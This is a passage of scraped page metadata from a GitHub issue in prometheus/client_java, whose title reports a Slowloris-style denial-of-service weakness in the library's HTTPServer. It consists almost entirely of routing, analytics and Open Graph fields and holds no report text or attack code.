or Throttling)\n**Status:** Unpatched (as of version 1.8.0)\n","author":{"url":"https://github.com/manqingzhou","@type":"Person","name":"manqingzhou"},"datePublished":"2026-07-08T02:57:27Z","url":"https://github.com/prometheus/client_java/issues/2284"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:ad625482-98ee-7634-a0ee-fae680b7ca11 |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | E378:321C40:CCF4B:115A8E:6AFBA7D2 |
| html-safe-nonce | f54fdafa6a23e98da735c3c9e56ae22d222afc81e0091fc9b47997fbd6c52d0f |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFMzc4OjMyMUM0MDpDQ0Y0QjoxMTVBOEU6NkFGQkE3RDIiLCJ2aXNpdG9yX2lkIjoiMjcxNjQ5MDcyNTg0ODI4ODgyIiwicmVnaW9uX2VkZ2UiOiJpYWQiLCJyZWdpb25fcmVuZGVyIjoiaWFkIn0= |
| visitor-hmac | c854801bc7b636c10598815ad315a6a25a2e9a70ae520df85c977c596f99024c |
| hovercard-subject-tag | issue:4833917598 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/prometheus/client_java/2284/issue_layout |
| twitter:image | https://opengraph.githubassets.com/510913307d7ec21f098dff087c062229ddc73fbe82bdd31fb6c59642f7e0c302/prometheus/client_java/issues/2284 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/510913307d7ec21f098dff087c062229ddc73fbe82bdd31fb6c59642f7e0c302/prometheus/client_java/issues/2284 |
| og:image:alt | Security Report: Thread Pool Exhaustion via Slow Clients (Slowloris-style DoS) in prometheus/client_java HTTPServer 1. Vulnerability Summary Field Value Product prometheus/client_java (Prometheus J... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | manqingzhou |
| hostname | github.com |
| expected-hostname | github.com |
| None | 03e5090f0cea887cafa036e3af34d7c668d83b5e9e9e03df72a90efb49b69cdf |
| turbo-cache-control | no-preview |
| go-import | github.com/prometheus/client_java git https://github.com/prometheus/client_java.git |
| octolytics-dimension-user_id | 3380462 |
| octolytics-dimension-user_login | prometheus |
| octolytics-dimension-repository_id | 7997879 |
| octolytics-dimension-repository_nwo | prometheus/client_java |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 7997879 |
| octolytics-dimension-repository_network_root_nwo | prometheus/client_java |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 41f00295b9a35dca977890ab83b22788ab211dc8 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
Viewport: width=device-width